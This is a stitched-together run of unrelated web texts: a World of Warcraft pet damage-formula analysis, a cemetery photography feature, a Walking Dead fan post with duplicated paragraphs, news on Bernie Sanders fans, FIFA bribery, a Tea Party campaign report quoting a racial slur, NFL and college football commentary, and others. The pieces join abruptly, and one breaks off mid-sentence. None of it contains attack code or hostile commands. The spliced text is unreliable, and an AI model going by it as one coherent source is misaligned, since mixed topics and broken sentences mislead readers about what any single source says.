This brings us back to Quills, and now we can explain b = 9. The Power at level 16 is 187; 187/20 = 9.35. The overall calculation: (10 Base)*((187 Power + 20)/20) = 103.5, which is rounded down to 103.
On a side note, I just wanted to take a look at a DoT ability. since none of the pets above had a DoT ability.
Hypothesized Flame Breath Base = (232 initial damage*20)/(270 Power + 20) = 16
Hypothesized Flame Breath Base = (520 total damage*20)/(270 Power + 20) = 35.8, which rounds down to 35.
Hypothesized Flamethrower Base = (217 initial damage*20)/(270 Power + 20) = 14.96, which rounds up to 15.
Hypothesized Flamethrower Base= (303 total damage*20)/(270 Power + 20) = 20.9, which rounds down to 20.
(Compare Flame Breath and Flamethrower to WoWDB Base.)
Conclusion:
1. All abilities follow a linear damage formula, which is expected and affected by Base and Power. The formula for ability damage is:
Ability Damage = (Base)*((Power + 20)/20)
2. DoT abilities Base (from WoWDB) only takes into account the initial damage and not the DoT damage.
Props to anyone who actually read this entire thing. I realize that my posts are pretty lengthy because I include raw data along with my analysis. Please leave any comments and suggestions below. Would you prefer pictures or wordpress’s simple spreadsheet? Thanks!Have you ever noticed that most of the seven wonders have some connection to the dead and hence to the graves? The pyramids of Egypt and our very own Taj Mahal are all about remembering the departed. "With all these important structures, can you deny that cemeteries play an important role in our lives?" asks Hari Bhagirath, one of whose favourite hobbies is to collect photographs of various cemeteries from around the world.
"The dead are one of the best listeners. The strange feeling that a grave is the last stop and everything in between is just temporary makes you think about yourself. It is a lot of self-introspection that can be useful and stays with you all your life. It has art and salvation, that's what we look for as human beings"
Hari Bhagirath, a taphophile
"There is a poetic beauty attached to every grave, every cemetery," he says, explaining why the cemetery in Hosur, Bengaluru is the place where he finds peace in the ever chaotic and traffic-packed streets of the city.
"I have shot cemeteries from around the world but there is something about the city. I think the cemeteries express a complete contrast to what the city is. And that makes it beautiful," says Hari, who has shot Dutch and British cemeteries in Kochi and Bengaluru among several others.
Chills and thrils: According to Hari, Tapophilia has a long way to go in India
Talking about the connection between cemeteries and photography, Hari says that a cemetery is a full package for anyone who likes photography. "There is history, there is architecture. You have the correct texture and you also have the whole place to yourself. What more does a photographer desire?" he asks cheekily, as he throws yet another question that satiates our doubts. But not all of them.
Taphophiles are usually confused with necrophiles. While the latter are sexually attracted to dead bodies, taphophilia is just a form of art that believes in exploring peace and mapping the historical importance of the graves
Hari is well aware of the stigma attached to visiting graveyards and cemeteries. He also knows that they are looked at as places to be scared of rather than places where one can find peace. But when these doubts cloud his thoughts, he remembers a lesson that his photography teacher taught him in 2011.
Shoot it: Hari Bhagirath, who is a Chief creative officer with a MMA firm likes to shoot at cemetries round the globe
"I remember my teacher telling me that only those who are alive can harm the living. I believe in it and I have spent loads of time in a cemetery and have never felt any negative energy. All we need to do it respect the place and what it is about," he says.
It all started when I went there with my friends when I was drunk. It was for fun. But, there was something about the place. The peace, the quiet. it was intriguing. And I started researching the various types of cemeteries in the country. I wasn't aware that this has a term because it is difficult to convince people that I am not a creep. So if you call this taphophilia, then I am a taphophile
Anupam Gupta, a banker from Delhi
However, he admits that photography in a cemetery is not very popular in India and has a long way to go. That's one of the reasons that he doesn't do it for the money.
They don't care: Taphophiles believe that there is no taboo to find calm and peace at the cemeteries
"India is a sensitive country. People need to open up and be flexible about their religion before such things can happen without risking anyone's life," says Hari, who doesn't like to restrict his art form by calling himself a taphophile — a term used to describe people who like to spend time in cemeteries.
These individuals might be taphophiles either for the love of research, curiosity or merely in the virtue of finding peace. If you fall into the last category, you will enjoy the peace there. And if you are into research, you might find graves of famous people around the world that even your textbooks could never teach you about.Sorry for the hiatus fellow Internet grazers, I got a job, moved across the country, and found a new place. I was a bit busy, I neglected you, I’m sorry, it won’t happen again. Here is a fresh post that should have been written a long time ago.
The Walking Dead is the best show on television right now, hands down. It’s brutal, viciously entertaining, terrifying, and shockingly human all at the same time. Here are five reasons why you should be getting locked and loaded with Rick Grimes every Sunday night.
Proper Adaptation: For those who aren’t aware The Walking Dead was a graphic novel before it was on television. The comics span a pretty vast timeline and the show is a few years behind how far the comic has progressed. The beautiful thing here is that the show has begun to vary from the comic book, providing die-hard comic fans with an equally well-written new adventure. Keeping it fresh, in the land of the dead.
For those who aren’t aware The Walking Dead was a graphic novel before it was on television. The comics span a pretty vast timeline and the show is a few years behind how far the comic has progressed. The beautiful thing here is that the show has begun to vary from the comic book, providing die-hard comic fans with an equally well-written new adventure. Keeping it fresh, in the land of the dead. Quality Acting: I think one of the best moves the show made was brining a majority of relatively unknown actors into the show. Basically it allows the audience to really get sucked in to believing the reality of the writing, we don’t know most of the actors, and thus we do not have prior stereotypes of their work. It makes the show real. Also, the lack of big time actors makes the unexpected death of your favorite character an ever present possibility. Main characters and small bits are both in constant danger, it will keep you on the edge all night.
I think one of the best moves the show made was brining a majority of relatively unknown actors into the show. Basically it allows the audience to really get sucked in to believing the reality of the writing, we don’t know most of the actors, and thus we do not have prior stereotypes of their work. It makes the show real. Also, the lack of big time actors makes the unexpected death of your favorite character an ever present possibility. Main characters and small bits are both in constant danger, it will keep you on the edge all night. If you want blood, you got it: I am trying to consider the last time a show has really pushed the boundaries of what can be shown on cable television. Truly, the attention to detail and absurd realism of the violence takes the show to the next level in regards to drawing fear out of real world scenarios. The “backwoods surgery” scenes of this season without the use of anesthesia have really made us afraid for the well being of our characters. When a broken arm will likely lead to death the stress level is heightened.
I am trying to consider the last time a show has really pushed the boundaries of what can be shown on cable television. Truly, the attention to detail and absurd realism of the violence takes the show to the next level in regards to drawing fear out of real world scenarios. The “backwoods surgery” scenes of this season without the use of anesthesia have really made us afraid for the well being of our characters. When a broken arm will likely lead to death the stress level is heightened. What would you do: I think this is the viewer’s favorite topic during the show, every decision, every action or crisis of conscious can be discussed among the audience. Rick does an excellent job of leading the group in my opinion; I really enjoy the ruthlessness he has brought this season regarding the safety of the group. The “it’s us or them” mentality is starting to shine, Team Grimes all the way. You and your pom-pom tree hugging hippies who want to help every person they find can take your pity party somewhere else. We don’t play that game.
I think this is the viewer’s favorite topic during the show, every decision, every action or crisis of conscious can be discussed among the audience. Rick does an excellent job of leading the group in my opinion; I really enjoy the ruthlessness he has brought this season regarding the safety of the group. The “it’s us or them” mentality is starting to shine, Team Grimes all the way. You and your pom-pom tree hugging hippies who want to help every person they find can take your pity party somewhere else. We don’t play that game. Character Evolution: Another genius plot point has been the evolution of various characters, Daryl the loner turning into a loyal protector, Rick the Boy Scout becoming a cold dictator. But perhaps one of the most surprising transformations has been one many fans call the most annoying character on the show. Carl, Rick’s young son, is slowly turning from whiny ne’er-do-well, to a pre-teen survivor. Imagine the capabilities of a kid who grew up in the zombie apocalypse. Instead of learning to ride a bike he’s learning to track people, instead of fitting in at school he’s learning how to knife zombies in the dark. I’m pumped to see what he becomes, if he lives that is.
AdvertisementsFive Bernie Sanders Superfans on Why They Love Him
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(WASHINGTON) — In the race for the Democratic presidential nomination, Vermont’s independent, self-described “Democratic Socialist” senator, Bernie Sanders, has stolen the spotlight.
While former Secretary of State Hillary Clinton maintains a double-digit lead in most polls, Sanders has surprised many people — even himself — by drawing incredible crowds across the country.
So far this election cycle, he holds the record for the most people at one single event (recently in Madison, Wisconsin, 10,000 people turned out) and the largest event in Iowa (in Council Bluffs, 2,500 attended one of his rallies). And earlier this week in Portland, Maine, 7,500 people showed up to see him.
Who are all of these people and why do they love Bernie? ABC News spoke to five Sanders superfans. Here are their stories:
Shannon McCartney, Marijuana legalization advocate
In a crowd of 7,500 people in Maine, Shannon McCartney stood out. With her Bernie for President tee-shirt and stickers plastered all over her leggings, McCartney ran up and down the line of people waiting outside handing out signs and getting people excited.
Bubbly, loud and energetic, McCartney, 25, likes to say that Sanders is “our last hope for democracy.” She works for an advocacy organization to legalize marijuana and now also volunteers indirectly for Sanders’ campaign. She helped set-up a local grassroots group called “Portland for Bernie” that worked alongside the official campaign to spread the word about the event and sign up new volunteers.
“I am so excited about his message that I want everyone to know about him. Everybody,” she said. “He is for ‘The 99 Percent.’ He is for the little people. He is not a corporation. He is not a billionaire. He for representing the people who work for America.”
Rick Gannaway, Insurance industry
Rick Gannaway brought a handmade sign that read, “We Feel the Bern” — a phrase that is now used widely among Sanders’ supporters online. Gannaway works in insurance in Portland, Maine, and said Sanders has been his guy for a long time.
“We like his advocacy for a working wage,” he said. “I have crippling student loans and I think the interest rates that are being changed on those student loans are unethical. They shouldn’t be making a profit off of my education.”
Sanders regularly talks about the need to help graduates with their loans. Gannaway said he helped spread the word about the event in his hometown through Facebook and conversations with friends.
Tim Crockett, Retired education specialist
Tim Crockett of Brunswick Maine, is a self-identified socialist and said Sanders was “the closest we’ve got.” Asked what he meant when he called himself a socialist, Crockett answered that he believed in caps on income, equal rights and access to health care and livable wages.
“Those are the things that are important to average people,” he said and that Sanders’ message of fighting income inequality resonates with him.
As for Hillary Clinton, Crockett said he was a fan of the former first lady.
“I just think she has sold out to big money, which she is calculating she has to do to win,” he said. “She might be right in the long run,” he added, “But for now, [I] absolutely support Bernie.”
Crockett, like many far-left progressives who pack into Sanders’ events, has been following the senator since he first ran and won as an Independent, socialist mayor of Burlington, Vermont. Crocket said he heard about Monday’s event because he is on Sanders’ mailing list.
Jackie Curley, Retired teacher
Jackie Curley was one of the first people in line for the event in Portland on Monday. She got to the arena three and half hours before the event and secured seats close to the stage.
“He’s the only one I can get excited, and we’re really lucky to have him,” she said.
As a retired teacher who lost her job at one point, Curley said she identified with those who are struggling to support their families.
“I want someone who can make a big change,” she said. “He talks about issues that matter to 90 percent of people.”
As for the senator’s uphill climb against Clinton, Curley says that after President Obama, anyone can get elected.
“He’s a real populist that’s why he’s going to get elected,” she said.
Curley heard about the event on Facebook.
Liam Dewey, High school student
Liam Dewey is only 16 years old, but he will be eligible to vote come November 2016, and said he plans “when Bernie wins the primary” to vote for him.
A high school student from Medfield, Massachusetts, Dewey brought friends up to Maine for the event. They had homemade signs that read “Camp Counselors for Bernie.” Dewey said he is a politically active student, and Sanders’ legislation to make public universities tuition-free particularly appealed to him.
Clinton’s campaign has also talked about the need to make college more affordable. When asked about that, Dewey replied that he did not “have any problems” with Clinton, but trusted Sanders more.
“I feel as if some of the things she says are not genuine. They go with the tide of public opinion … it turns off voters,” Dewey said. “I might not agree with Bernie on everything, but I believe he has values, and he’s going to stick to those and he will not lie to us.”
Copyright © 2015, ABC Radio. All rights reserved.To say fans are disappointed by Jordan's decision to ban Mashrou' Leila from performing for the second year in a row would be a bit of an understatement.
Jordan's Interior Minister Ghaleb Zuabi said the ban will curb "the exploitation of such performances for the implementation of certain agendas that may lead to internal disagreements." The Lebanese band's lead singer is openly gay and the group has taken a strongly pro-LGBTQ stance, while also highlighting other significant social issues in the Arab world.
But in classy and eloquent style, the indie group released a video apologizing to their fans for the cancellation, explaining that the decision would not change their music production in any way.
Released on Wednesday evening, the video has since gone viral, garnering more than 150,000 views on Facebook, as well as thousands of shares and likes, at the time of writing.[New search] [Printable RTF version] [Help]
IN THE HIGH COURT OF JUSTICE
CHANCERY COURT OF ENGLAND
FORASMUCH as it now appeared to this Court, by a report made by the now Lord Keeper, (being then Master of the Rolls,) upon consideration had of the plaintiff's replication, according to an order of the 7th of May anno 37th Reginæ, that the said replication doth amount to six score sheets of paper, and yet all the matter thereof which is pertinent might have been well contrived in sixteen sheets of paper, wherefore the plaintiff was appointed to be examined to find out who drew the same replication, and by whose advice it was done, to the end that the offender might, for example sake, not only be punished, but also be fined to Her Majesty for that offence; and that the defendant might have his charges sustained thereby; the execution of which order was, by a later order made by the late Lord Keeper the 26th of June, Anno 37th Reginæ, suspended, without any express cause shewed thereof in that order, and was never since called upou until the matter came to be heard, on Tuesday lost, before the now Lord Keeper; at which time some mention was again made of the same replication; and for that it now appeared to his Lordship, by the confession of Richard Mylward, alias Alexander, the plaintiff's son, that he the said Richard himself, did both draw, devise, and engross the same replication; and because his Lordship is of opinion that such an abuse is not in any sort to be tolerated, proceeding of a malicious purpose to increase the defendant's charge, and being fraught with much impertinent matter not fit for this Court; it is therefore ordered, that the Warden of the Fleet shall take the said Richard Mylward, alias Alexander, into his custody, and shall bring him into Westminster Hall, on Saturday next, about ten of the clock in the forenoon, and then and there shall cut a hole in the myddest of the same engrossed replication (which is delivered unto him for that purpose), and put the said Richard's head through the same hole, and so let the same replication hang about his shoulders, with the written side outward; and then, the same so hanging, shall lead the same Richard, bare headed and bare faced, round about Westminster Hall, whilst the Courts are sitting, and shall shew him at the bar of every of the three Courts within the Hall, and shall then take him back again to the Fleet, and keep him prisoner, until he shall have paid 10l. to Her Majesty for a fine, and 20 nobles to the defendant, for his costs in respect of the aforesaid abuse, which fine and costs are now adjudged and imposed upon him by this Court, for the abuse aforesaid.[1]Dylann Roof is |
pay for college, there's a fair presumption that they will earn enough money to pay it back."
Separately, educators in K-12 classrooms all over the country are also under mounting pressure from a number of advocacy groups and the Obama administration's Race to the Top initiative, which seeks to provide cash-strapped states with funding for education if they agree to implement stricter teacher evaluations based on student outcomes on state-wide exams.
A Real 'Game-Changer'
If it passes, the bill has the potential to be a "game-changer," some experts believe, potentially usurping U.S. News & World Report's annual ranking of the nation's top colleges and universities as a well-worn barometer of institutional value.
"Despite huge and growing individual and taxpayer investments in higher education," said Amy Laitinen, a deputy director for higher education at the New America Foundation, "we know shockingly little about how students are doing."
"This bill would change that," she added. "It has the potential to be a real game-changer for students and families."
However, some policy makers, including Tennessee Republican Lamar Alexander, the top Republican on the Senate education committee, have expressed privacy concerns about an online warehouse of sensitive student data.
(Read More: Guess What? Mom Doesn't Think You'll Find a Job Either)
Other critics say colleges and universities shouldn't be held responsible for something they can't legitimately be expected to control: the economy.
Still, the bill's sponsors and consumer advocates both say it's high time to introduce a sense of cost-benefit analysis into the college selection process.
"There's been a needed focus on access to higher education, but it's time to bring value into the equation," said Senator Wyden, Instead of students and families making "blind decisions" on such a costly investment, Wyden adds, the new bill would "empower them with a wide range of information about what their choices will mean in the working world."
NAF's Laitinen says she's heartened to see the cooperation the bill has engendered among policy makers.
"Bipartisanship is an endangered species in D.C.," she said. "It's great to see members of Congress put partisanship aside to help students and families make one of the most critical decisions they'll ever make."Friction is present on Earth anywhere there is movement, and it can affect objects in all sorts of ways. It generates heat, which is why hands warm up when people rub them together. It can also slow down objects—car brakes use friction to reduce speed—and it causes general wear and tear, which is why drivers have to replace their brake pads—and tires—every so often.
In fact, the tires on the average automobile lose about one layer of atoms every time they spin one full revolution, according to Vladan Vuletic, a professor of physics at the Massachusetts Institute of Technology.
Read MoreIn Game of Drones, the battle is real. Sorta
Friction between objects also can cause engineering problems on the tiniest "nano" level. Very small objects are made up of far fewer atoms—and thus have fewer atoms they can afford to lose. Nanomachines are damaged or worn down much more quickly by friction than larger things are.
That's one of the great challenges in nanotechnology, the study and creation of very small things invisible to the naked eye. Nanotechnology, it's hoped, could bring about new devices that do everything from fight diseases to explore space. One of the difficulties in making progress with nanotechnology, however, is that such tiny objects may not last long, even in favorable conditions.General Secretary of CONCACAF Chuck Blazer gives a press conference before the game between Mexico and the United States for the 2011 CONCACAF Gold Championship at the Rose Bowl on June 25, 2011 in Pasadena, California. (Source: Stephen Dunn/Getty Images)
NEW YORK (CBSMiami/AP) — It doesn’t appear that the FIFA scandal is going to slow down any time soon.
Former FIFA executive committee member Chuck Blazer told a U.S. federal judge that he and others on the governing body’s ruling panel agreed to receive bribes to vote for South Africa to host the 2010 World Cup.
Prosecutors unsealed a 20-page transcript Wednesday of the November 2013 hearing in U.S. District Court during which Blazer pleaded guilty to racketeering and other charges.
“Beginning in or around 2004 and continuing through 2011, I and others on the FIFA executive committee agreed to accept bribes in conjunction with the selection of South Africa as the host nation for the 2010 World Cup,” Blazer told U.S. District Judge Raymond J. Dearie.
Blazer was the No. 2 official of soccer’s North and Central American and Caribbean region from 1990-2011 and served on FIFA’s executive committee from 1997-2013.
CLICK HERE to watch Eliott Rodriguez’s report
South African Football Association president Molefi Oliphant sent a letter to FIFA secretary general Jerome Valcke in 2008 asking FIFA to withhold $10 million from the budget of the 2010 World Cup organizers and to use the money to finance a “Diaspora Legacy Programme” under the control of then CONCACAF President Jack Warner. South Africa Sports Minister Fikile Mbalula denies the money was a bribe and says it was an “above-board payment” to help soccer development in Caribbean region.
Blazer also said he arranged bribes around 1992 in the vote for which country would host the 1998 World Cup. France won the election over Morocco.
(TM and © Copyright 2015 CBS Radio Inc. and its relevant subsidiaries. CBS RADIO and EYE Logo TM and Copyright 2015 CBS Broadcasting Inc. Used under license. All Rights Reserved. This material may not be published, broadcast, rewritten, or redistributed. The Associated Press contributed to this report.)If UCLA is to stop a three-game losing streak and salvage a bowl appearance from a 3-5 start to the season, the Bruins can't count on star quarterback Josh Rosen to lead the way.
Coach Jim Mora said on Monday that Rosen has a nerve issue in his throwing shoulder and is out indefinitely.
Rosen has missed the Bruins' last two games (losses to Washington State and Utah). One of the most talented quarterbacks in college football, Rosen has completed 137 of 231 passes for 1,915 yards, with 10 touchdowns and five interceptions through UCLA's first six games. As a true sophomore, Rosen won't be eligible for the NFL draft until 2018 or 2019.
"The nerve has to start firing again. Once it starts firing again, he should be fine. It's just a matter of when is it going to start firing again?," Mora said in a news conference. "He's getting all the treatment he can get. He's doing everything he can do. Our doctors are as good as they get. He's got a dad at home who's a doctor, so he's surrounded by good people. It's just a matter of his arm starting to fire. He's been trying to throw, and it just hasn't gotten to the point where he can cut it loose yet."
Mike Fafaul has played in Rosen's place, and he set UCLA records for pass attempts (70) and completions (40) in a 52-45 loss to the Utes on Saturday. He threw five touchdown passes but was picked off four times. Rosen warmed up prior to the game, but did not play.
Rosen isn't the only top sophomore with a lingering injury.
FSU safety Derwin James continues to recover from the knee surgery he underwent last month.
"There's no way to judge this thing," Fisher said, per the Orlando Sentinel. "They know he's much further along than most people are, but if you chance it, then there's a chance on tearing everything."
FSU plays host to rival Clemson on Saturday in a highly anticipated ACC Atlantic Division game.
A panel of NFL.com analysts voted James the No. 19 player in the nation entering the season. The versatile safety made 11 tackles in two games prior to his injury.
Other injury updates from Monday on top college players:
» Clemson RB Wayne Gallman, who has been out with a concussion, is expected to play against the Seminoles. Gallman was knocked out of Clemson's Oct. 15 game against North Carolina State on a helmet-to-helmet hit. The Tigers were idle on Saturday. Gallman, a fourth-year junior, is Clemson's top rusher with 489 yards on 90 carries.
» Wisconsin LB Jack Cichy will miss the remainder of the season with a torn pectoral muscle. Cichy is the Badgers' leading tackler by a wide margin with 60 stops on the year, including 7.5 for losses. The junior played his best football against some of Wisconsin's toughest opponents, making 12 stops against Michigan and 15, with 3.5 for loss, against Ohio State.
Follow Chase Goodbread on Twitter @ChaseGoodbread.One of the paradoxes of being a foreign reporter in smalltown America is that within any one day, you will hear people insist that they stand at the centre of global affairs and simultaneously act as though they reside at the very fringes of international interest. As Americans, they feel their country stands as a beacon to the outside world – a showcase for freedom, liberty, democracy and material comfort. As inhabitants of smalltown America, they feel marginalised from the national narrative and isolated from the rest of the world. Within the span of a single conversation you will be told that America is the best country on earth and be asked why you – or indeed anyone – would come to their particular town.
So it was last week in Leitchfield, a small town in central Kentucky. South-east of Louisville and south-west of Lexington, its 6,000 residents live between Nolin and Rough River lakes on the way to nowhere in particular. Leitchfield has known better days, but few here can remember when. Unemployment, long in double digits, has now reached 16%. One in five lives below the poverty line and the median family income is less than two-thirds that of the rest of the nation. Last year Republican presidential hopeful John McCain took the county handily, with 67% of the vote.
On Monday night a young woman working at a local pharmacy first giggled at my accent and then asked what business I could possibly have in Leitchfield. When I asked her what young people do for kicks in a place that doesn't serve alcohol, she shrugged: "Some of them take drugs and have sex. I watch videos with my sister." Just a few a minutes later I was at a town hall event where Republican Senate hopeful Rand Paul lamented the impending demise of America's global supremacy.
"We as a country could go into great decline and slip into the second tier of nations if we don't change our ways," he said. "You cannot just continue to spend beyond your means. We've been doing that for a generation."
Paul, the son of Congressman Ron Paul who attracted a huge libertarian following during the last year's presidential elections, is the insurgent candidate in May's Republican Kentucky primary. Virtually unknown when he joined the race against establishment candidate, Trey Grayson, a poll last month put Rand Paul narrowly in the lead. "2010 will be the year of the outsider," he says. "Someone who is not a politician, like myself, has a really good chance. A better chance than any other year."
He could be right. Paul is riding the wave of the Tea party movement that emerged from the anti-tax protests earlier this year. His bid is being replicated in Republican primaries throughout the country. In Arizona, McCain could be in a tight race against anti-immigration zealot JD Hayworth. Polls show McCain, a four-term senator, in a statistical dead heat – all the more amazing given that Hayworth has yet to announce his candidacy. At the beginning of this year the moderate Florida governor, Charlie Crist, led unknown ultra-conservative Marco Rubio 57-4. By last month his lead had slimmed to just 47-37. Other hard-right challenges are brewing from New Hampshire down.
There is some partisan symmetry in this. While Obama launched a electoral campaign that aspired to become a movement, the opposition has created a movement that is attempting to gain electoral expression. While members of the former found their focus via a candidate, the latter have no champion. It's not even clear they are looking for one.
Whether they will upset or revive the Republican party has yet to be seen. What is clear is that they are a force to be reckoned with. A recent Rasmussen poll revealed that if the Tea party were an actual party it would eclipse the Republicans. In a hypothetical, three-way race, Democrats received 36% of the vote, the non-existent Tea party got 23% and Republicans got just 18%; a further 22% were undecided. The poll also showed that 73% of Republican voters think their leaders are out of touch with the party base. In downtown Little Rock last weekend, the heirs to the protests held a rally of several hundred with standing room only – all the Republican Senate candidates were there.
Gradually a few things about the people in this movement are becoming clear. First, they are anxious to emphasise their economic conservatism. Their mantra is small government, their obsession the national debt. In more than an hour neither Paul nor any of the 35 audience members mentioned abortion, gay marriage, stem cell research, creationism or religion in schools. "Remember when one of Clinton's aides said 'It's the economy, stupid'?" Rand Paul asked me afterwards. "It still is the economy … I'm not running for preacher. I'm running for office." That does not mean they are not socially conservative. It may be that social conservatives have such a stranglehold on the Republican party that social issues no longer have traction there.
Second, they are almost exclusively white. In a town such as Leitchfield, which is 97% white, in a state such as Kentucky, which is 90% white, that is not really a problem. But in places such as Arizona, Florida, New Mexico or Nevada – key swing states where non-whites are more than a third – it virtually ensures defeat.
That does not make them racist. But they have been a magnet for some racists, whose crude rhetoric and anti-Obama hysteria has made their lack of diversity a liability. On Thursday Paul's spokesman, Christopher Hightower, resigned after it was discovered that a picture of lynching, posted close to Martin Luther King Day and containing the message "Happy Nigger Day", had been on his Myspace page for almost two years.
Third, their success in a general election is linked to Obama's failure. Their achievement is to have organised their rage into a viable force within the Republican party. How they fare beyond those boundaries is another matter. At present both Paul and Greyson would lose to either of the leading Kentucky Democrats. The more sustained difference the administration makes to peoples' lives, the less this anger makes sense.
Finally, the movement's standard bearers seem keen to distance themselves from the more vocal, eccentric elements with which they have been associated. Asked whether he thought Obama was a Muslim and born in the US, Paul said he didn't know but: "Those are things that I would never bring up in a speech and don't have a belief that coincides with people who brought those up as issues." The trouble is, while they may find the birthers embarrassing, their challenge is not feasible without them.
"I call it the national open mic movement," jokes Paul. "It's kind of good in a way. Some people were tired of not being able to speak their piece. But I don't think it has a cohesion yet. It's yet to be seen whether it can transform itself." That will depend, in no small part, on who grabs the mic, who can pull the plug and whether Obama can attract more with his deeds than they can with their screeds.The goal every year is to win the Super Bowl. With that in mind, let's look to last year's champ, the Green Bay Packers, and see what lessons can be learned and how they might relate to the 2011 Eagles.
One of the fears that some people have about this year's Eagles is that they might be too young to really contend for a Super Bowl. Packers fans would tell you different. Green Bay got key contributions from rookies. They had four rookie starters in the Super Bowl. Right tackle Bryan Bulaga was taken in the first round. Running back James Starks was taken in the sixth round. Defensive end C.J. Wilson was taken in the seventh. Linebacker Frank Zombo was undrafted. Think about that. The Packers had four rookie starters and only one of them was taken before the sixth round. Wow.
The Packers normally didn't start Wilson. He was in because Pittsburgh was such a run-heavy team. The player who did normally start was another rookie, cornerback Sam Shields. Like Zombo, he was undrafted. Punter Tim Masthay wasn't a true rookie, but 2010 was his first year of NFL action. He spent some time with the Colts in the summer of 2009, but didn't make the team.
Stud tight end Jermichael Finley got hurt early in the season and missed the rest of the year. The Packers didn't panic. They gave his job to rookie Andrew Quarless. He responded with 33 catches. Tom Crabtree also helped out. Like Masthay, he wasn't a true rookie but was seeing his first NFL action. Crabtree caught a touchdown pass in the Packers wildcard win over the Eagles.
Green Bay didn't go into the season planning to start all of these rookies. They did have a pair of rookies in the starting lineup on opening day, Shields and safety Morgan Burnett. Shields wasn't planned, but they hoped for Burnett to be a starter. Green Bay did have rookies as key backups and role players from day one. That is part of their organizational philosophy. The Packers have the attitude that if they draft players it is because they believe in them and want to give those players a chance to show what they can do. The Eagles have a similar mentality, but do believe in free agency more than the Packers.
How will rookies impact the 2011 Eagles? We're just projecting for now, but I think we will have Alex Henery as the kicker, Jaiquawn Jarrett as the strong safety, and Danny Watkins as the right guard. It is possible Casey Matthews will start at one of the linebacker spots. Stanley Havili could contribute as a running back or win the starting fullback spot from Owen Schmitt. The other rookies might surprise and become key role players or get a shot at starting due to injury, but I don't project any of them to win jobs right off the bat. As for non-rookie first year players, it is possible Phillip Hunt and Ricky Sapp could be regular role players. A.Q. Shipley could be in the mix for the starting center position.
The Eagles will be young, but I don't think they will be too young to compete for a Super Bowl. The key to all of this is having a strong core of players in place. You can then fit pieces in around the core players. The Eagles offense is pretty loaded. The defense will undergo some changes, but we're still talking about a group with Trent Cole, Asante Samuel, and a solid set of defensive tackles. Guys like Moise Fokou, Jamar Chaney, and Nate Allen should be classified as ascending players. I still fully expect the Eagles to land a top flight player to handle the right cornerback spot. The defense has some good pieces already in place.
There will be change during the season. Injuries affect all 32 teams. Green Bay did a great job of dealing with them and finding players to step in and play well. Linebacker Erik Walden bounced around for three years before joining the Packers last October. In the season finale against Chicago, a crucial game, Walden had 12 tackles and three sacks. Safety Charlie Peprah had a total of 27 tackles in his first four years in the league. He spent three of those with Green Bay and was a Falcon in 2009. He returned to the Packers in 2010 and had 63 tackles. Peprah had 10 tackles in the Super Bowl, the highest total on either team. Defensive tackle Howard Green was added in October and helped the Packers down the stretch. He played some defensive end as well. Green is a massive run stopper so he didn't post great numbers, but he was important. Prior to his arrival, only two opponents were held under 100 yards rushing in a game. With Green, that total rose to seven opponents. Granted, more games were played with him than without, but the run defense was significantly better.
As you look at the Eagles roster and depth chart now, remember that not all of these players will be around in December and January. Last year the Eagles came up with Owen Schmitt, Colt Anderson, and Gerard Lawson as contributors after the season started. Other players were added, but offered little. Reggie Wells was a serious disappointment. Derrick Burgess had a short return to the Eagles that didn't go as hoped.
One area that is a lot different between the Eagles and Packers is coaching. The Packers added Dom Capers and the 3-4 defense prior to the 2009 season. That was the year when they had to adjust to a new scheme and style of coaching. There were serious highs and lows. It paid off in 2010 when there was coaching stability and the players did know the scheme inside-out.
The Eagles basically revamped the whole defensive coaching staff. The scheme will remain a 4-3, but it will be different than what was done over the past couple of years. It won't be as great of an adjustment as what Green Bay went through. Remember what Brett Favre did to that defense in 2009? He made the Packers look awful. They also struggled in the playoffs. The Eagles should have an easier time of it and should not struggle as much. In six of 17 games the 2009 Packers allowed 30 or more points. That all changed in 2010 when only the Patriots were able to score more than 30. And that came from a total of 20 games.
The Packers had enough offensive firepower to get through 2009's inconsistent defense and be a playoff team. The Eagles have enough firepower to do the same thing. If the new coaches mesh well with the players and the scheme works well, there is no reason to think the Eagles can't contend for the Super Bowl this year.
So what are the important lessons to take away from all of this? Most important, don't be afraid to play young players. If they are talented and fit what you do, give them a chance. Not all will work out, but maybe more than you think. If you add players from other teams or the street, find specific roles for them. You can't expect a new player to do exactly what you wanted back in training camp. You have to mold the role to the player. All of this is happening on the fly. Finally, it doesn't hurt to be lucky. Look at Walden's three-sack game. Derrick Burgess had 2.5 sacks in 2004. He played pretty well that year, but couldn't seal the deal. A guy like Walden comes from nowhere to get three sacks in one day.
I don't know if Andy Reid was heavily influenced by Green Bay's defensive change prior to 2009, but obviously he did the same thing in terms of changing the coaches and the scheme. It will be interesting at some point in the future to hear Reid reflect back on the situation and explain what outside influences did affect his decision to make the defensive changes.
* * * * *
It looks like the lockout and CBA mess is going to finally be over (fingers crossed). I can't wait until this is all a distant memory and we get back to some sense of normalcy. I think we're all dying for that first transaction to take place. I don't care if it is a big free agent move, simply signing an undrafted rookie, or just putting Ellis Hobbs on the retired list. Just give me some action.
Things will go crazy soon. There's going to be a flurry of activity in the next few weeks. It could be one of the craziest two week periods in the history of the NFL. I can't wait for all the fun to start.ANALYSIS/OPINION:
A certain Texas Republican still has plenty of fans. Sen. Ted Cruz has won the Federalist Today Presidential Straw Poll with 26 percent of the nearly one thousand votes cast. The field included 16 potential candidates. “Placing a respectable second and third, Senator Rand Paul (22 percent) and Wisconsin Gov. Scott Walker (16 percent) showed that they also have considerable support among the ‘lovers of freedom and anxious for the fray’ Federalist faithful,” report David Corbin and Matt Parks, two analysts for The Federalist - a learned and vibrant online journal.
“The political insider would, undoubtedly, not be impressed. Good luck getting Senators Cruz or Paul elected President of the United States. Any such insurgent’s campaign will be undone by a press that favors Democrats, a bare-knuckles Republican establishment that favors milque-toast candidates, and a bewildered flyover electorate conditioned to favor one flavor-of-the-month insurgent presidential candidate after another, to the detriment of any effective insurgent candidacy,” say Mssrs. Corbin and Parks.
“These same insiders would have no problem envisioning a scenario in which insurgent Democrat Elizabeth Warren, establishment Democrat Hillary Clinton, or establishment Republicans Jeb Bush, Mitt Romney, or Chris Christie win the presidency. Ruling-class smugness aside, these folks have a point: playing by the normal rules, the least likely outcome in 2016 is a victory by a Republican insurgent, even though 40 percent of Americans consistently identify themselves as conservatives (twice the typical number of progressives) But who says we have to play by their rules?” the pair ask.
They have much to say. See the complete essay here. The poll was released Monday; find the results here. “One scenario is clear: we’ll either hang together in 2015 - or be hung out to dry, once again, in 2016,” the two analysts add.
Copyright © 2019 The Washington Times, LLC. Click here for reprint permission.The series follows a group of childhood friends as the go though the horrors of WWII.
The six-hour WWII drama is billed as a German "Band of Brothers."
